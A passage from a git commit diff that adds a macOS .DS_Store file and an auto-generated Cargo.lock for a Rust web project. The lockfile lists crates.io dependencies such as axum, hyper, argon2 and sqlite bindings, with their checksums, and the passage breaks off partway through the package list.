commit d164820ea971faf8524fefd362e51148ea76ebcd Author: i2p Date: Thu Aug 27 11:03:10 2026 -0600 initial commit diff --git a/.DS_Store b/.DS_Store new file mode 100644 index 0000000..f618d12 Binary files /dev/null and b/.DS_Store differ diff --git a/Cargo.lock b/Cargo.lock new file mode 100644 index 0000000..3842afc --- /dev/null +++ b/Cargo.lock @@ -0,0 +1,3284 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 4 + +[[package]] +name = "adler2" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "320119579fcad9c21884f5c4861d16174d0e06250625266f50fe6898340abefa" + +[[package]] +name = "aead" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d122413f284cf2d62fb1b7db97e02edb8cda96d769b16e443a4f6195e35662b0" +dependencies = [ + "crypto-common", + "generic-array", +] + +[[package]] +name = "aes" +version = "0.8.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b169f7a6d4742236a0a00c541b845991d0ac43e546831af1249753ab4c3aa3a0" +dependencies = [ + "cfg-if", + "cipher", + "cpufeatures", +] + +[[package]] +name = "ahash" +version = "0.8.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a15f179cd60c4584b8a8c596927aadc462e27f2ca70c04e0071964a73ba7a75" +dependencies = [ + "cfg-if", + "getrandom 0.3.4", + "once_cell", + "version_check", + "zerocopy", +] + +[[package]] +name = "aho-corasick" +version = "1.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ddd31a130427c27518df266943a5308ed92d4b226cc639f5a8f1002816174301" +dependencies = [ + "memchr", +] + +[[package]] +name = "allocator-api2" +version = "0.2.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "683d7910e743518b0e34f1186f92494becacb047c7b6bf616c96772180fef923" + +[[package]] +name = "android_system_properties" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311" +dependencies = [ + "libc", +] + +[[package]] +name = "anyhow" +version = "1.0.102" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f202df86484c868dbad7eaa557ef785d5c66295e41b460ef922eca0723b842c" + +[[package]] +name = "argon2" +version = "0.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3c3610892ee6e0cbce8ae2700349fcf8f98adb0dbfbee85aec3c9179d29cc072" +dependencies = [ + "base64ct", + "blake2", + "cpufeatures", + "password-hash 0.5.0", +] + +[[package]] +name = "async-trait" +version = "0.1.89" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9035ad2d096bed7955a320ee7e2230574d28fd3c3a0f186cbea1ff3c7eed5dbb" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "atoi" +version = "2.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f28d99ec8bfea296261ca1af174f24225171fea9664ba9003cbebee704810528" +dependencies = [ + "num-traits", +] + +[[package]] +name = "atomic-waker" +version = "1.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1505bd5d3d116872e7271a6d4e16d81d0c8570876c8de68093a09ac269d8aac0" + +[[package]] +name = "autocfg" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c08606f8c3cbf4ce6ec8e28fb0014a2c086708fe954eaa885384a6165172e7e8" + +[[package]] +name = "axum" +version = "0.7.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "edca88bc138befd0323b20752846e6587272d3b03b0343c8ea28a6f819e6e71f" +dependencies = [ + "async-trait", + "axum-core", + "base64 0.22.1", + "bytes", + "futures-util", + "http", + "http-body", + "http-body-util", + "hyper", + "hyper-util", + "itoa", + "matchit", + "memchr", + "mime", + "percent-encoding", + "pin-project-lite", + "rustversion", + "serde", + "serde_json", + "serde_path_to_error", + "serde_urlencoded", + "sha1", + "sync_wrapper", + "tokio", + "tokio-tungstenite 0.24.0", + "tower 0.5.3", + "tower-layer", + "tower-service", + "tracing", +] + +[[package]] +name = "axum-core" +version = "0.4.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09f2bd6146b97ae3359fa0cc6d6b376d9539582c7b4220f041a33ec24c226199" +dependencies = [ + "async-trait", + "bytes", + "futures-util", + "http", + "http-body", + "http-body-util", + "mime", + "pin-project-lite", + "rustversion", + "sync_wrapper", + "tower-layer", + "tower-service", + "tracing", +] + +[[package]] +name = "base64" +version = "0.21.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9d297deb1925b89f2ccc13d7635fa0714f12c87adce1c75356b39ca9b7178567" + +[[package]] +name = "base64" +version = "0.22.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6" + +[[package]] +name = "base64ct" +version = "1.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2af50177e190e07a26ab74f8b1efbfe2ef87da2116221318cb1c2e82baf7de06" + +[[package]] +name = "bitflags" +version = "2.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c4512299f36f043ab09a583e57bceb5a5aab7a73db1805848e8fef3c9e8c78b3" +dependencies = [ + "serde_core", +] + +[[package]] +name = "blake2" +version = "0.10.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "46502ad458c9a52b69d4d4d32775c788b7a1b85e8bc9d482d92250fc0e3f8efe" +dependencies = [ + "digest", +] + +[[package]] +name = "block-buffer" +version = "0.10.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" +dependencies = [ + "generic-array", +] + +[[package]] +name = "bumpalo" +version = "3.20.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5d20789868f4b01b2f2caec9f5c4e0213b41e3e5702a50157d699ae31ced2fcb" + +[[package]] +name = "byteorder" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b" + +[[package]] +name = "bytes" +version = "1.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e748733b7cbc798e1434b6ac524f0c1ff2ab456fe201501e6497c8417a4fc33" + +[[package]] +name = "bzip2" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bdb116a6ef3f6c3698828873ad02c3014b3c85cadb88496095628e3ef1e347f8" +dependencies = [ + "bzip2-sys", + "libc", +] + +[[package]] +name = "bzip2-sys" +version = "0.1.13+1.0.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "225bff33b2141874fe80d71e07d6eec4f85c5c216453dd96388240f96e1acc14" +dependencies = [ + "cc", + "pkg-config", +] + +[[package]] +name = "cc" +version = "1.2.60" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "43c5703da9466b66a946814e1adf53ea2c90f10063b86290cc9eb67ce3478a20" +dependencies = [ + "find-msvc-tools", + "jobserver", + "libc", + "shlex", +] + +[[package]] +name = "cfg-if" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801" + +[[package]] +name = "chacha20" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3613f74bd2eac03dad61bd53dbe620703d4371614fe0bc3b9f04dd36fe4e818" +dependencies = [ + "cfg-if", + "cipher", + "cpufeatures", +] + +[[package]] +name = "chacha20poly1305" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "10cd79432192d1c0f4e1a0fef9527696cc039165d729fb41b3f4f4f354c2dc35" +dependencies = [ + "aead", + "chacha20", + "cipher", + "poly1305", + "zeroize", +] + +[[package]] +name = "chrono" +version = "0.4.44" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c673075a2e0e5f4a1dde27ce9dee1ea4558c7ffe648f576438a20ca1d2acc4b0" +dependencies = [ + "iana-time-zone", + "js-sys", + "num-traits", + "serde", + "wasm-bindgen", + "windows-link", +] + +[[package]] +name = "cipher" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad" +dependencies = [ + "crypto-common", + "inout", + "zeroize", +] + +[[package]] +name = "const-oid" +version = "0.9.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c2459377285ad874054d797f3ccebf984978aa39129f6eafde5cdc8315b612f8" + +[[package]] +name = "constant_time_eq" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "245097e9a4535ee1e3e3931fcfcd55a796a44c643e8596ff6566d68f09b87bbc" + +[[package]] +name = "core-foundation-sys" +version = "0.8.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "773648b94d0e5d620f64f280777445740e61fe701025087ec8b57f45c791888b" + +[[package]] +name = "cpufeatures" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "59ed5838eebb26a2bb2e58f6d5b5316989ae9d08bab10e0e6d103e656d1b0280" +dependencies = [ + "libc", +] + +[[package]] +name = "crc" +version = "3.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5eb8a2a1cd12ab0d987a5d5e825195d372001a4094a0376319d5a0ad71c1ba0d" +dependencies = [ + "crc-catalog", +] + +[[package]] +name = "crc-catalog" +version = "2.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "19d374276b40fb8bbdee95aef7c7fa6b5316ec764510eb64b8dd0e2ed0d7e7f5" + +[[package]] +name = "crc32fast" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9481c1c90cbf2ac953f07c8d4a58aa3945c425b7185c9154d67a65e4230da511" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "crossbeam-queue" +version = "0.3.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0f58bbc28f91df819d0aa2a2c00cd19754769c2fad90579b3592b1c9ba7a3115" +dependencies = [ + "crossbeam-utils", +] + +[[package]] +name = "crossbeam-utils" +version = "0.8.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d0a5c400df2834b80a4c3327b3aad3a4c4cd4de0629063962b03235697506a28" + +[[package]] +name = "crypto-common" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "78c8292055d1c1df0cce5d180393dc8cce0abec0a7102adb6c7b1eef6016d60a" +dependencies = [ + "generic-array", + "rand_core", + "typenum", +] + +[[package]] +name = "curve25519-dalek" +version = "4.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "97fb8b7c4503de7d6ae7b42ab72a5a59857b4c937ec27a3d4539dba95b5ab2be" +dependencies = [ + "cfg-if", + "cpufeatures", + "curve25519-dalek-derive", + "fiat-crypto", + "rustc_version", + "subtle", + "zeroize", +] + +[[package]] +name = "curve25519-dalek-derive" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f46882e17999c6cc590af592290432be3bce0428cb0d5f8b6715e4dc7b383eb3" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "dashmap" +version = "5.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "978747c1d849a7d2ee5e8adc0159961c48fb7e5db2f06af6723b80123bb53856" +dependencies = [ + "cfg-if", + "hashbrown 0.14.5", + "lock_api", + "once_cell", + "parking_lot_core", +] + +[[package]] +name = "data-encoding" +version = "2.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d7a1e2f27636f116493b8b860f5546edb47c8d8f8ea73e1d2a20be88e28d1fea" + +[[package]] +name = "der" +version = "0.7.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e7c1832837b905bbfb5101e07cc24c8deddf52f93225eee6ead5f4d63d53ddcb" +dependencies = [ + "const-oid", + "pem-rfc7468", + "zeroize", +] + +[[package]] +name = "deranged" +version = "0.5.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7cd812cc2bc1d69d4764bd80df88b4317eaef9e773c75226407d9bc0876b211c" +dependencies = [ + "powerfmt", +] + +[[package]] +name = "digest" +version = "0.10.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" +dependencies = [ + "block-buffer", + "const-oid", + "crypto-common", + "subtle", +] + +[[package]] +name = "displaydoc" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "97369cbbc041bc366949bc74d34658d6cda5621039731c6310521892a3a20ae0" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "dotenvy" +version = "0.15.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1aaf95b3e5c8f23aa320147307562d361db0ae0d51242340f558153b4eb2439b" + +[[package]] +name = "either" +version = "1.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "48c757948c5ede0e46177b7add2e67155f70e33c07fea8284df6576da70b3719" +dependencies = [ + "serde", +] + +[[package]] +name = "equivalent" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "877a4ace8713b0bcf2a4e7eec82529c029f1d0619886d18145fea96c3ffe5c0f" + +[[package]] +name = "errno" +version = "0.3.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "39cab71617ae0d63f51a36d69f866391735b51691dbda63cf6f96d042b63efeb" +dependencies = [ + "libc", + "windows-sys 0.61.2", +] + +[[package]] +name = "etcetera" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "136d1b5283a1ab77bd9257427ffd09d8667ced0570b6f938942bc7568ed5b943" +dependencies = [ + "cfg-if", + "home", + "windows-sys 0.48.0", +] + +[[package]] +name = "event-listener" +version = "2.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0206175f82b8d6bf6652ff7d71a1e27fd2e4efde587fd368662814d6ec1d9ce0" + +[[package]] +name = "fastrand" +version = "2.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9f1f227452a390804cdb637b74a86990f2a7d7ba4b7d5693aac9b4dd6defd8d6" + +[[package]] +name = "fiat-crypto" +version = "0.2.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "28dea519a9695b9977216879a3ebfddf92f1c08c05d984f8996aecd6ecdc811d" + +[[package]] +name = "find-msvc-tools" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5baebc0774151f905a1a2cc41989300b1e6fbb29aff0ceffa1064fdd3088d582" + +[[package]] +name = "flate2" +version = "1.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "843fba2746e448b37e26a819579957415c8cef339bf08564fe8b7ddbd959573c" +dependencies = [ + "crc32fast", + "miniz_oxide", +] + +[[package]] +name = "flume" +version = "0.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da0e4dd2a88388a1f4ccc7c9ce104604dab68d9f408dc34cd45823d5a9069095" +dependencies = [ + "futures-core", + "futures-sink", + "spin", +] + +[[package]] +name = "foldhash" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d9c4f5dac5e15c24eb999c26181a6ca40b39fe946cbe4c263c7209467bc83af2" + +[[package]] +name = "form_urlencoded" +version = "1.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb4cb245038516f5f85277875cdaa4f7d2c9a0fa0468de06ed190163b1581fcf" +dependencies = [ + "percent-encoding", +] + +[[package]] +name = "futures-channel" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "07bbe89c50d7a535e539b8c17bc0b49bdb77747034daa8087407d655f3f7cc1d" +dependencies = [ + "futures-core", + "futures-sink", +] + +[[package]] +name = "futures-core" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7e3450815272ef58cec6d564423f6e755e25379b217b0bc688e295ba24df6b1d" + +[[package]] +name = "futures-executor" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "baf29c38818342a3b26b5b923639e7b1f4a61fc5e76102d4b1981c6dc7a7579d" +dependencies = [ + "futures-core", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-intrusive" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1d930c203dd0b6ff06e0201a4a2fe9149b43c684fd4420555b26d21b1a02956f" +dependencies = [ + "futures-core", + "lock_api", + "parking_lot", +] + +[[package]] +name = "futures-io" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cecba35d7ad927e23624b22ad55235f2239cfa44fd10428eecbeba6d6a717718" + +[[package]] +name = "futures-sink" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c39754e157331b013978ec91992bde1ac089843443c49cbc7f46150b0fad0893" + +[[package]] +name = "futures-task" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "037711b3d59c33004d3856fbdc83b99d4ff37a24768fa1be9ce3538a1cde4393" + +[[package]] +name = "futures-util" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "389ca41296e6190b48053de0321d02a77f32f8a5d2461dd38762c0593805c6d6" +dependencies = [ + "futures-core", + "futures-io", + "futures-sink", + "futures-task", + "memchr", + "pin-project-lite", + "slab", +] + +[[package]] +name = "generic-array" +version = "0.14.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" +dependencies = [ + "typenum", + "version_check", +] + +[[package]] +name = "getrandom" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff2abc00be7fca6ebc474524697ae276ad847ad0a6b3faa4bcb027e9a4614ad0" +dependencies = [ + "cfg-if", + "libc", + "wasi", +] + +[[package]] +name = "getrandom" +version = "0.3.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "899def5c37c4fd7b2664648c28120ecec138e4d395b459e5ca34f9cce2dd77fd" +dependencies = [ + "cfg-if", + "libc", + "r-efi 5.3.0", + "wasip2", +] + +[[package]] +name = "getrandom" +version = "0.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0de51e6874e94e7bf76d726fc5d13ba782deca734ff60d5bb2fb2607c7406555" +dependencies = [ + "cfg-if", + "libc", + "r-efi 6.0.0", + "wasip2", + "wasip3", +] + +[[package]] +name = "hashbrown" +version = "0.14.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e5274423e17b7c9fc20b6e7e208532f9b19825d82dfd615708b70edd83df41f1" +dependencies = [ + "ahash", + "allocator-api2", +] + +[[package]] +name = "hashbrown" +version = "0.15.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9229cfe53dfd69f0609a49f65461bd93001ea1ef889cd5529dd176593f5338a1" +dependencies = [ + "foldhash", +] + +[[package]] +name = "hashbrown" +version = "0.17.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4f467dd6dccf739c208452f8014c75c18bb8301b050ad1cfb27153803edb0f51" + +[[package]] +name = "hashlink" +version = "0.8.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e8094feaf31ff591f651a2664fb9cfd92bba7a60ce3197265e9482ebe753c8f7" +dependencies = [ + "hashbrown 0.14.5", +] + +[[package]] +name = "heck" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8" +dependencies = [ + "unicode-segmentation", +] + +[[package]] +name = "heck" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea" + +[[package]] +name = "hex" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70" + +[[package]] +name = "hkdf" +version = "0.12.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7b5f8eb2ad728638ea2c7d47a21db23b7b58a72ed6a38256b8a1849f15fbbdf7" +dependencies = [ + "hmac", +] + +[[package]] +name = "hmac" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6c49c37c09c17a53d937dfbb742eb3a961d65a994e6bcdcf37e7399d0cc8ab5e" +dependencies = [ + "digest", +] + +[[package]] +name = "home" +version = "0.5.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cc627f471c528ff0c4a49e1d5e60450c8f6461dd6d10ba9dcd3a61d3dff7728d" +dependencies = [ + "windows-sys 0.61.2", +] + +[[package]] +name = "http" +version = "1.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3ba2a386d7f85a81f119ad7498ebe444d2e22c2af0b86b069416ace48b3311a" +dependencies = [ + "bytes", + "itoa", +] + +[[package]] +name = "http-body" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1efedce1fb8e6913f23e0c92de8e62cd5b772a67e7b3946df930a62566c93184" +dependencies = [ + "bytes", + "http", +] + +[[package]] +name = "http-body-util" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b021d93e26becf5dc7e1b75b1bed1fd93124b374ceb73f43d4d4eafec896a64a" +dependencies = [ + "bytes", + "futures-core", + "http", + "http-body", + "pin-project-lite", +] + +[[package]] +name = "http-range-header" +version = "0.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9171a2ea8a68358193d15dd5d70c1c10a2afc3e7e4c5bc92bc9f025cebd7359c" + +[[package]] +name = "httparse" +version = "1.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6dbf3de79e51f3d586ab4cb9d5c3e2c14aa28ed23d180cf89b4df0454a69cc87" + +[[package]] +name = "httpdate" +version = "1.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df3b46402a9d5adb4c86a0cf463f42e19994e3ee891101b1841f30a545cb49a9" + +[[package]] +name = "hyper" +version = "1.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6299f016b246a94207e63da54dbe807655bf9e00044f73ded42c3ac5305fbcca" +dependencies = [ + "atomic-waker", + "bytes", + "futures-channel", + "futures-core", + "http", + "http-body", + "httparse", + "httpdate", + "itoa", + "pin-project-lite", + "smallvec", + "tokio", +] + +[[package]] +name = "hyper-util" +version = "0.1.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "96547c2556ec9d12fb1578c4eaf448b04993e7fb79cbaad930a656880a6bdfa0" +dependencies = [ + "bytes", + "http", + "http-body", + "hyper", + "pin-project-lite", + "tokio", + "tower-service", +] + +[[package]] +name = "iana-time-zone" +version = "0.1.65" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e31bc9ad994ba00e440a8aa5c9ef0ec67d5cb5e5cb0cc7f8b744a35b389cc470" +dependencies = [ + "android_system_properties", + "core-foundation-sys", + "iana-time-zone-haiku", + "js-sys", + "log", + "wasm-bindgen", + "windows-core", +] + +[[package]] +name = "iana-time-zone-haiku" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f" +dependencies = [ + "cc", +] + +[[package]] +name = "icu_collections" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2984d1cd16c883d7935b9e07e44071dca8d917fd52ecc02c04d5fa0b5a3f191c" +dependencies = [ + "displaydoc", + "potential_utf", + "utf8_iter", + "yoke", + "zerofrom", + "zerovec", +] + +[[package]] +name = "icu_locale_core" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92219b62b3e2b4d88ac5119f8904c10f8f61bf7e95b640d25ba3075e6cac2c29" +dependencies = [ + "displaydoc", + "litemap", + "tinystr", + "writeable", + "zerovec", +] + +[[package]] +name = "icu_normalizer" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c56e5ee99d6e3d33bd91c5d85458b6005a22140021cc324cea84dd0e72cff3b4" +dependencies = [ + "icu_collections", + "icu_normalizer_data", + "icu_properties", + "icu_provider", + "smallvec", + "zerovec", +] + +[[package]] +name = "icu_normalizer_data" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da3be0ae77ea334f4da67c12f149704f19f81d1adf7c51cf482943e84a2bad38" + +[[package]] +name = "icu_properties" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bee3b67d0ea5c2cca5003417989af8996f8604e34fb9ddf96208a033901e70de" +dependencies = [ + "icu_collections", + "icu_locale_core", + "icu_properties_data", + "icu_provider", + "zerotrie", + "zerovec", +] + +[[package]] +name = "icu_properties_data" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e2bbb201e0c04f7b4b3e14382af113e17ba4f63e2c9d2ee626b720cbce54a14" + +[[package]] +name = "icu_provider" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "139c4cf31c8b5f33d7e199446eff9c1e02decfc2f0eec2c8d71f65befa45b421" +dependencies = [ + "displaydoc", + "icu_locale_core", + "writeable", + "yoke", + "zerofrom", + "zerotrie", + "zerovec", +] + +[[package]] +name = "id-arena" +version = "2.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d3067d79b975e8844ca9eb072e16b31c3c1c36928edf9c6789548c524d0d954" + +[[package]] +name = "idna" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3b0875f23caa03898994f6ddc501886a45c7d3d62d04d2d90788d47be1b1e4de" +dependencies = [ + "idna_adapter", + "smallvec", + "utf8_iter", +] + +[[package]] +name = "idna_adapter" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3acae9609540aa318d1bc588455225fb2085b9ed0c4f6bd0d9d5bcd86f1a0344" +dependencies = [ + "icu_normalizer", + "icu_properties", +] + +[[package]] +name = "indexmap" +version = "2.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d466e9454f08e4a911e14806c24e16fba1b4c121d1ea474396f396069cf949d9" +dependencies = [ + "equivalent", + "hashbrown 0.17.0", + "serde", + "serde_core", +] + +[[package]] +name = "inout" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "879f10e63c20629ecabbb64a8010319738c66a5cd0c29b02d63d272b03751d01" +dependencies = [ + "generic-array", +] + +[[package]] +name = "itoa" +version = "1.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f42a60cbdf9a97f5d2305f08a87dc4e09308d1276d28c869c684d7777685682" + +[[package]] +name = "jobserver" +version = "0.1.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9afb3de4395d6b3e67a780b6de64b51c978ecf11cb9a462c66be7d4ca9039d33" +dependencies = [ + "getrandom 0.3.4", + "libc", +] + +[[package]] +name = "js-sys" +version = "0.3.95" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2964e92d1d9dc3364cae4d718d93f227e3abb088e747d92e0395bfdedf1c12ca" +dependencies = [ + "once_cell", + "wasm-bindgen", +] + +[[package]] +name = "lazy_static" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe" +dependencies = [ + "spin", +] + +[[package]] +name = "leb128fmt" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09edd9e8b54e49e587e4f6295a7d29c3ea94d469cb40ab8ca70b288248a81db2" + +[[package]] +name = "libc" +version = "0.2.185" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "52ff2c0fe9bc6cb6b14a0592c2ff4fa9ceb83eea9db979b0487cd054946a2b8f" + +[[package]] +name = "libm" +version = "0.2.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6d2cec3eae94f9f509c767b45932f1ada8350c4bdb85af2fcab4a3c14807981" + +[[package]] +name = "libredox" +version = "0.1.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e02f3bb43d335493c96bf3fd3a321600bf6bd07ed34bc64118e9293bdffea46c" +dependencies = [ + "bitflags", + "libc", + "plain", + "redox_syscall 0.7.4", +] + +[[package]] +name = "libsqlite3-sys" +version = "0.27.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf4e226dcd58b4be396f7bd3c20da8fdee2911400705297ba7d2d7cc2c30f716" +dependencies = [ + "cc", + "pkg-config", + "vcpkg", +] + +[[package]] +name = "linux-raw-sys" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a66949e030da00e8c7d4434b251670a91556f4144941d37452769c25d58a53" + +[[package]] +name = "litemap" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92daf443525c4cce67b150400bc2316076100ce0b3686209eb8cf3c31612e6f0" + +[[package]] +name = "lock_api" +version = "0.4.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = 